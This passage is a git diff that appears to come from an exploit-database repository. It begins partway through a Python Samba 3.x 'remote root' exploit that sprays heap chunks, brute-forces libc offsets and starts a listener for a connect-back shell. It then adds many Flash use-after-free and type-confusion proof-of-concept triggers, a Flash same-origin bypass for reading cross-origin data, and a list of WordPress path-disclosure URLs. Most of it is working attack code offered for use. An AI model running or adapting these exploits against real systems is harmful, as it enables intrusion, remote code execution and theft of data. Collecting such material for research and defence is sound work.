"\x00"*(816-len(tmp)) + + buf+=tmp + buf+="A"*(37192-target['chunk_offset']) + buf+='z'*(100000 - (28000 + 10000)) + + buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)] + n=0 + + for chunk in buf_chunks: + if len(chunk) != chunk_size: + #print "LAST CHUNK #%d" % n + bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk + s.send(bb) + else: + #print "CHUNK #%d" % n + bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk + s.send(bb) + retbuf = s.recv(rs) + n=n+1 + + s.close() + +class connectback_shell(SocketServer.BaseRequestHandler): + def handle(self): + global do_brute + + print "\n[!] connectback shell from %s" % self.client_address[0] + do_brute = False + + s = self.request + + import termios, tty, select, os + old_settings = termios.tcgetattr(0) + try: + tty.setcbreak(0) + c = True + while c: + for i in select.select([0, s.fileno()], [], [], 0)[0]: + c = os.read(i, 1024) + if c: + if i == 0: + os.write(1, c) + + os.write(s.fileno() if i == 0 else 1, c) + except KeyboardInterrupt: pass + finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) + + return + + +class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + pass + + +if len(sys.argv) != 6: + print "\n {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n" + print " usage: %s \n" % (sys.argv[0]) + print " targets:" + i = 0 + for target in targets: + print " %02d) %s" % (i, target['name']) + i = i+1 + + print "" + sys.exit(-1) + + +target = targets[int(sys.argv[5])] + +server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell) +server_thread = threading.Thread(target=server.serve_forever) +server_thread.daemon = True +server_thread.start() + +while do_brute == True: + sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset'])) + sys.stdout.flush() + exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target) + + if "finder" in target: + target['chunk_offset'] += 4 + else: + target['system_libc_offset'] += 0x1000 + + +if "finder" in target: + print \ + "{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \ + "system_libc_offset = 0x%03x" % \ + (target['chunk_offset'], target['system_libc_offset'] & 0xff000fff) + +while 1: + time.sleep(999) + +server.shutdown() diff --git a/platforms/multiple/dos/37850.txt b/platforms/multiple/dos/37850.txt new file mode 100755 index 000000000..ae3754e28 --- /dev/null +++ b/platforms/multiple/dos/37850.txt @@ -0,0 +1,33 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows: + +var s = SharedObject.getLocal("test"); + +ASSetPropFlags(s, null, 0, 0xff); +ASSetPropFlags(s.data, null, 0, 0xff); +var q = {myprop :"natalie", myprop2 : "test"}; +s.data.fpadInfo = q; +s.flush(); +var n = new NetConnection(); +ASnative(2100, 200)(s.data); +n.connect.call(s.data, ""); +trace(s.data.fpadInfo); +s = 1; + +//GC happens here + +setInterval(f, 1000); + +function f(){ + + ASnative(252, 1).call(q); //Array push + delete q.myprop; + + } + +A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37850.zip + diff --git a/platforms/multiple/dos/37852.txt b/platforms/multiple/dos/37852.txt new file mode 100755 index 000000000..6c027a8fd --- /dev/null +++ b/platforms/multiple/dos/37852.txt @@ -0,0 +1,35 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=355&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +In certain cases where a native AS2 class sets an internal variable, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.contentType, this applies to several other variables including many proprties of the Sound and NetStream classes. + +A proof of concept is as follows: + +var s = SharedObject.getLocal("test"); +ASSetPropFlags(s, null, 0, 0xff); +ASSetPropFlags(s.data, null, 0, 0xff); +var o = {myprop: "test", myprop2: "test"}; +s.data.contentType = o; +flush(); +ASnative(2100, 200)(s.data); // new NetConnection +trace(s.data.contentType); +s = 1; + +//Do GC + +for(var i = 0; i < 100; i++){ + + var b = new flash.display.BitmapData(100, 1000, true, 1000); + + } + +setInterval(c, 1000); +function c(){ + ASnative(252, 1).call(o); //Array push + +} + +A fla, an AS file and two swfs are attached. donotdelete.fla compiles to donotdelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37852.zip + diff --git a/platforms/multiple/dos/37855.txt b/platforms/multiple/dos/37855.txt new file mode 100755 index 000000000..ff9005d7e --- /dev/null +++ b/platforms/multiple/dos/37855.txt @@ -0,0 +1,42 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=360&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +In certain cases where a native AS2 class sets an internal atom to a value, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.uri, this issue occurs in several other + +A proof of concept is as follows: + +var s = SharedObject.getLocal("test"); + +ASSetPropFlags(s, null, 0, 0xff); +ASSetPropFlags(s.data, null, 0, 0xff); +var q = {myprop :"natalie", myprop2 : "test"}; +var n = new NetConnection(); + +s.data.uri = q; +trace("uri " + s.data.uri); +s.flush(); +ASnative(2100, 200)(s.data); + +trace("uri " + s.data.uri); +n.connect.call(s.data, xx); +trace(s.data.uri); +s = 1; +var a = []; +var c = []; +for(i = 0; i < 200; i++){ + + var b = new flash.display.BitmapData(1000, 1000, true, 10); +} + +setInterval(f, 1000); + +function f(){ + + ASnative(252, 1).call(q); //Array push + + } + +A fla, an AS file and two swfs are attached. slot.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and slot.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37855.zip + diff --git a/platforms/multiple/dos/37859.txt b/platforms/multiple/dos/37859.txt new file mode 100755 index 000000000..f95c7aecc --- /dev/null +++ b/platforms/multiple/dos/37859.txt @@ -0,0 +1,58 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=365&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +If a watch is set on the childNodes object of an XML object, and then the XML object is manipulated in a way that causes its child nodes to be enumerated, the watch will trigger. If the function in the watch deletes all the child nodes, the buffer containing the nodes will be deleted, even though the original function will still access it when it unwinds. This can lead to a childnodes array in ActionScript containing pointers that can be specified by an attacker. A minimal POC is as follows: + +var doc:XML = new XML(); +var rootNode:XMLNode = doc.createElement("rootNode"); +var oldest:XMLNode = doc.createElement("oldest"); +var middle:XMLNode = doc.createElement("middle"); +var youngest:XMLNode = doc.createElement("youngest"); +var youngest1:XMLNode = doc.createElement("youngest1"); +var youngest2:XMLNode = doc.createElement("youngest2"); +var youngest3:XMLNode = doc.createElement("youngest3"); + +// add the rootNode as the root of the XML document tree +doc.appendChild(rootNode); + +// add each of the child nodes as children of rootNode +rootNode.appendChild(oldest); +rootNode.appendChild(middle); +rootNode.appendChild(youngest1); +rootNode.appendChild(youngest2); +rootNode.appendChild(youngest3); + +// create an array and use rootNode to populate it +var firstArray:Array = rootNode.childNodes; +trace (firstArray.length); + +firstArray[0] = "test"; +firstArray.watch("length", f); +rootNode.appendChild(youngest); + +function f(a, b){ + + trace("in f " + a + " " + b + " " + c); + if(b == 1){ + firstArray.unwatch("length"); + middle.removeNode(); + oldest.removeNode(); + youngest1.removeNode(); + youngest2.removeNode(); + youngest3.removeNode(); + youngest.removeNode(); + } + + + for(var i = 0; i < 100; i++){ + var b = new flash.display.BitmapData(100, 1000, true, 1000); + var c = "aaaaaaaaaaaaa"; + } + + trace("end length " + rootNode.childNodes.length); + } + +A sample fla and swf are also attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37859.zip + diff --git a/platforms/multiple/dos/37863.txt b/platforms/multiple/dos/37863.txt new file mode 100755 index 000000000..7775fc34d --- /dev/null +++ b/platforms/multiple/dos/37863.txt @@ -0,0 +1,27 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes. + +A PoC is as follows: + +var n = { valueOf : func }; +var o = {x:n, y:0,width:10, height:10} + +_global.mc = this +var newmc:MovieClip = this.createEmptyMovieClip("mymc",1) +mymc.scale9Grid = o + + +function func() { + trace("here"); + var t = _global.mc.createTextField("test",1,1,1,2,3) + t.removeTextField() + return 7 +} + + +A sample fla and swf is attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37863.zip + diff --git a/platforms/multiple/dos/37864.txt b/platforms/multiple/dos/37864.txt new file mode 100755 index 000000000..68d559111 --- /dev/null +++ b/platforms/multiple/dos/37864.txt @@ -0,0 +1,50 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo: + +import flash.display.*; +import flash.geom.*; + +var bmpd:BitmapData = new BitmapData(20,20); +var rect1:Rectangle = new Rectangle(0,0,10,10); +var rect2:Rectangle = new Rectangle(0, 10, 10, 20); +var rect3:Rectangle = new Rectangle(10, 0, 20, 10); +var rect4:Rectangle = new Rectangle(10, 10, 20, 20); +bmpd.fillRect(rect1, 0xAA0000FF); +bmpd.fillRect(rect2, 0xAA00FF00); +bmpd.fillRect(rect3, 0xAAFF0000); +bmpd.fillRect(rect4, 0xAA999999); +var thiz = this; +this.createEmptyMovieClip("bmp_fill_mc", 1); +with (bmp_fill_mc) { + + var n = {valueOf: func}; + matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; + //matrix.rotate(Math.PI/8); + repeat = true; + smoothing = true; + beginBitmapFill(bmpd, matrix, repeat, smoothing); + moveTo(0, 0); + lineTo(0, 60); + lineTo(60, 60); + lineTo(60, 0); + lineTo(0, 0); + endFill(); +} + +bmp_fill_mc._xscale = 200; +bmp_fill_mc._yscale = 200; + +function func(){ + + var test = thiz.createTextField("test", 1, 1, 1, 10, 10); + trace(test); + test.removeTextField(); + return 777; + } + +A sample fla and swf are attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37864.zip + diff --git a/platforms/multiple/dos/37865.txt b/platforms/multiple/dos/37865.txt new file mode 100755 index 000000000..8a747a314 --- /dev/null +++ b/platforms/multiple/dos/37865.txt @@ -0,0 +1,20 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows: + +n = {_quality : {toString : func}}; +function func(){ + + trace("hello"); + + newResetButton.removeMovieClip(); + return "test"; + } + +_root.attachMovie("myResetButton","newResetButton",200, n); + +A sample fla and swf are attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37865.zip + diff --git a/platforms/multiple/dos/37871.txt b/platforms/multiple/dos/37871.txt new file mode 100755 index 000000000..c6372a42b --- /dev/null +++ b/platforms/multiple/dos/37871.txt @@ -0,0 +1,25 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a use-after-free in MovieClip.swapDepths, a POC is as follows: + +var clip1 = this.createEmptyMovieClip("clip1", 1); +var clip2 = this.createEmptyMovieClip("clip2", 2); + +var n = {valueOf: func, toString: func}; + +clip1.swapDepths(n); + +function func(){ + + clip1.removeMovieClip(); + //_root.createEmptyMovieClip("test", 1); + + trace("here"); + return "clip2"; + } + +A swf and fla are attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37871.zip + diff --git a/platforms/multiple/dos/37872.txt b/platforms/multiple/dos/37872.txt new file mode 100755 index 000000000..06e275a60 --- /dev/null +++ b/platforms/multiple/dos/37872.txt @@ -0,0 +1,24 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=404&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +Source file and compiled PoC attached. + +Looking at https://github.com/adobe-flash/avmplus/blob/master/core/XMLListObject.cpp: + +bool XMLListObject::delUintProperty(uint32_t index) +... +if (index >= _length()) [1] + { + return true; + } +... + px->childChanges(core->knodeRemoved, r->atom()); [2] +... + m_children.removeAt(index); [3] + +In [1], the passed in index is validated. In [2], the callback can run actionscript, which might shrink the size of the current XMLList. In [3], the pre-validated index is used but it might now be invalid due to shrinking at [2]. Unfortunately, removeAt() does not behave well in the presence of an out-of-bounds index. + +The PoC works by triggering a wild copy in order to demonstrate the crash. But other side-effects are possible such as decrementing the refcount of an out-of-bounds index. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37872.zip + diff --git a/platforms/multiple/dos/37873.txt b/platforms/multiple/dos/37873.txt new file mode 100755 index 000000000..e1625627c --- /dev/null +++ b/platforms/multiple/dos/37873.txt @@ -0,0 +1,25 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as: + +_root-->l1-->l2-->l3 + +If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows: + +var l1 = this.createEmptyMovieClip("l1", 1); +var l2 = l1.createEmptyMovieClip("l2", 1); +ns = {toString: strfunc, valueOf: strfunc}; +var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10); + +function strfunc(){ + + l2.removeMovieClip(); + return "myname"; + + } + +A sample SWF and fla are attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37873.zip + diff --git a/platforms/multiple/dos/37874.txt b/platforms/multiple/dos/37874.txt new file mode 100755 index 000000000..9358181e2 --- /dev/null +++ b/platforms/multiple/dos/37874.txt @@ -0,0 +1,17 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=409&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a type confusion issue in TextRenderer.setAdvancedAntialiasingTable. If the font, insideCutoff or outsideCutoff are set to objects that are not integers, they are still assumed to be integers. A proof-of-concept is below: + +var antiAliasEntry_1 = {fontSize:10, insideCutoff:1.61, outsideCutoff:-3.43}; +var antiAliasEntry_2 = {fontSize:"", insideCutoff:0.8, outsideCutoff:-0.8}; +var arialTable:Array = new Array(antiAliasEntry_1, antiAliasEntry_2); + +TextRenderer.setAdvancedAntialiasingTable("Arial", "none", "dark", arialTable); + +This issue is low-impact because the type-confused objects are read into the font and cutoff values, which cannot be directly retreived from script. It is probably possible to determine the value read by doing hit tests on the text that is rendered (to see how big and clipped it is), but this would be fairly difficult. + +A sample SWF and fla are attached, these samples intentionally crash to demonstrate the issue. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37874.zip + diff --git a/platforms/multiple/dos/37877.txt b/platforms/multiple/dos/37877.txt new file mode 100755 index 000000000..f38fd79d8 --- /dev/null +++ b/platforms/multiple/dos/37877.txt @@ -0,0 +1,24 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a use-after-free in the TextField gridFitType setter. A PoC is below: + +var test = this.createTextField("test", 1, 0, 0, 100, 100); +var n = {toString : func, valueOf : func}; +test.gridFitType = n; + +function func(){ + + test.removeTextField(); + for(var i = 0; i < 1000; i++){ + var b = new flash.display.BitmapData(1000, 1000, true, 10); + } + trace("here"); + return "natalie"; + + } + +A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37877.zip + diff --git a/platforms/multiple/dos/37878.txt b/platforms/multiple/dos/37878.txt new file mode 100755 index 000000000..f47ccf138 --- /dev/null +++ b/platforms/multiple/dos/37878.txt @@ -0,0 +1,52 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows: + +In the main SWF: + +var a = new subfr(); +var allTypes:Array = new Array(); +var imageTypes:Object = new Object(); +imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)"; +imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png"; +allTypes.push(imageTypes); + +var textTypes:Object = new Object(); +textTypes.description = "Text Files (*.txt, *.rtf)"; +textTypes.extension = "*.txt;*.rtf"; +allTypes.push(textTypes); +var f = new flash.net.FileReference(); +f.cancel.call(a); + +Defining subfr: + +class subfr extends Object{ + + + public function subfr(){ + var n = {valueOf : func}; + this.valueOf = func; + this.toString = func; + this.__proto__ = {}; + this.__proto__.__constructor__ = TextFormat; + super(this); + +} + +function func(){ + + this.__proto__ = {}; + this.__proto__.__constructor__ = flash.net.FileReference; + super(); + return "natalie"; + } + + +} + + +A sample SWF and fla are attached. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37878.zip + diff --git a/platforms/multiple/dos/37882.txt b/platforms/multiple/dos/37882.txt new file mode 100755 index 000000000..d19db2ea1 --- /dev/null +++ b/platforms/multiple/dos/37882.txt @@ -0,0 +1,7 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=443&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +If an mp3 file contains compressed ID3 data that is larger than 0x2aaaaaaa bytes, an integer overflow will occur in allocating the buffer to contain its converted string data, leading to a large copy into a small buffer. A sample fla, swf and mp3 are attached. Put id34.swf and tag.mp3 in the same folder to reproduce the issue. This issue only works on 64 bit platforms. + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37882.zip + diff --git a/platforms/multiple/remote/37851.txt b/platforms/multiple/remote/37851.txt new file mode 100755 index 000000000..dca7d324d --- /dev/null +++ b/platforms/multiple/remote/37851.txt @@ -0,0 +1,14 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=354&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id + +[90-day deadline tracking for https://code.google.com/p/chromium/issues/detail?id=481639] + +--- +An instance of ActionScript's Sound class allows for loading and extracting for further processing any kind of external data, not only sound files. Same-origin policy doesn't apply here. Each input byte of raw data, loaded previously from given URL, is encoded by an unspecified function to the same 8 successive sample blocks of output. The sample block consists of 8 bytes (first 4 bytes for left channel and next 4 bytes for right channel). Only 2 bytes from 8 sound blocks (64 bytes) are crucial, the rest 52 bytes are useless. Each byte of input from range 0-255 has corresponding constant unsigned integer value (a result of encoding), so for decoding purposes you can use simply lookup table (cf. source code from BoundlessTunes.as). + +1. Put attached file BoundlessTunes.swf on the HTTP server. +2. Open http:///BoundlessTunes.swf?url= where is an URL address (e.g. leading to cross-origin resource). A received response will be displayed in alert window. +--- + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37851.zip + diff --git a/platforms/php/webapps/37826.txt b/platforms/php/webapps/37826.txt new file mode 100755 index 000000000..dddbcc3f5 --- /dev/null +++ b/platforms/php/webapps/37826.txt @@ -0,0 +1,149 @@ +source: http://www.securityfocus.com/bid/55597/info + +WordPress is prone to multiple path-disclosure vulnerabilities. + +Remote attackers can exploit these issues to obtain sensitive information that may lead to further attacks. + +WordPress 3.4.2 is vulnerable; other versions may also be affected. + +http://www.example.com/learn/t/wordpress/wp-includes/vars.php +http://www.example.com/learn/t/wordpress/wp-includes/update.php +http://www.example.com/learn/t/wordpress/wp-includes/theme.php +http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/sidebar.php +http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/header.php +http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/footer.php +http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/comments.php +http://www.example.com/learn/t/wordpress/wp-includes/theme-compat/comments-popup.php +http://www.example.com/learn/t/wordpress/wp-includes/template-loader.php +http://www.example.com/learn/t/wordpress/wp-includes/taxonomy.php +http://www.example.com/learn/t/wordpress/wp-includes/shortcodes.php +http://www.example.com/learn/t/wordpress/wp-includes/script-loader.php +http://www.example.com/learn/t/wordpress/wp-includes/rss.php +http:www.example.com/learn/t/wordpress/wp-includes/rss-functions.php +http://www.example.com/learn/t/wordpress/wp-includes/registration.php +http://www.example.com/learn/t/wordpress/wp-includes/registration-functions.php +http://www.example.com/learn/t/wordpress/wp-includes/post.php +http://www.example.com/learn/t/wordpress/wp-includes/post-template.php +http://www.example.com/learn/t/wordpress/wp-includes/nav-menu-template.php +http://www.example.com/learn/t/wordpress/wp-includes/ms-settings.php +http://www.example.com/learn/t/wordpress/wp-includes/ms-functions.php +http://www.example.com/learn/t/wordpress/wp-includes/ms-default-filters.php +http://www.example.com/learn/t/wordpress/wp-includes/ms-default-constants.php +http://www.example.com/learn/t/wordpress/wp-includes/media.php +http://www.example.com/learn/t/wordpress/wp-includes/kses.php +http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/config.php +http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php +http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php +http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php +http://www.example.com/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php +http://www.example.com/learn/t/wordpress/wp-includes/general-template.php +http://www.example.com/learn/t/wordpress/wp-includes/functions.php +http://www.example.com/learn/t/wordpress/wp-includes/feed-rss2.php +http://www.example.com/learn/t/wordpress/wp-includes/feed-rss2-comments.php +http://www.example.com/learn/t/wordpress/wp-includes/feed-rss.php +http://www.example.com/learn/t/wordpress/wp-includes/feed-rdf.php +http://www.example.com/learn/t/wordpress/wp-includes/feed-atom.php +http://www.example.com/learn/t/wordpress/wp-includes/feed-atom-comments.php +http://www.example.com/learn/t/wordpress/wp-includes/default-widgets.php +http://www.example.com/learn/t/wordpress/wp-includes/default-filters.php +http://www.example.com/learn/t/wordpress/wp-includes/comment-template.php +http://www.example.com/learn/t/wordpress/wp-includes/class.wp-styles.php +http://www.example.com/learn/t/wordpress/wp-includes/class.wp-scripts.php +http://www.example.com/learn/t/wordpress/wp-includes/class-wp-xmlrpc-server.php +http://www.example.com/learn/t/wordpress/wp-includes/class-wp-http-ixr-client.php +http://www.example.com/learn/t/wordpress/wp-includes/class-snoopy.php +http://www.example.com/learn/t/wordpress/wp-includes/class-feed.php +http://www.example.com/learn/t/wordpress/wp-includes/category-template.php +http://www.example.com/learn/t/wordpress/wp-includes/canonical.php +http://www.example.com/learn/t/wordpress/wp-includes/author-template.php +http://www.example.com/learn/t/wordpress/wp-includes/admin-bar.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/tag.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/single.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/sidebar.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/sidebar-footer.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/search.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/page.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/onecolumn-page.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop-single.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop-page.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/loop-attachment.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/index.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/header.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/functions.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/footer.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/comments.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/category.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/author.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/attachment.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/archive.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyten/404.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/tag.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/single.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-page.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-footer.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/showcase.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/search.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/page.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/index.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/inc/widgets.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/inc/theme-options.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/image.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/functions.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/comments.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/category.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/author.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/archive.php +http://www.example.com/learn/t/wordpress/wp-content/themes/twentyeleven/404.php +http://www.example.com/learn/t/wordpress/wp-content/plugins/hello.php +http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/widget.php +http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/legacy.php +http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/akismet.php +http://www.example.com/learn/t/wordpress/wp-content/plugins/akismet/admin.php +http://www.example.com/learn/t/wordpress/wp-admin/user/menu.php +http://www.example.com/learn/t/wordpress/wp-admin/upgrade-functions.php +http://www.example.com/learn/t/wordpress/wp-admin/options-head.php +http://www.example.com/learn/t/wordpress/wp-admin/network/menu.php +http://www.example.com/learn/t/wordpress/wp-admin/menu.php +http://www.example.com/learn/t/wordpress/wp-admin/menu-header.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/user.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/upgrade.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/update.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/update-core.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/theme-install.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/template.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/schema.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/plugin.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/plugin-install.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/nav-menu.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/ms.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/misc.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/menu.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/media.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/file.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/dashboard.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/continents-cities.php 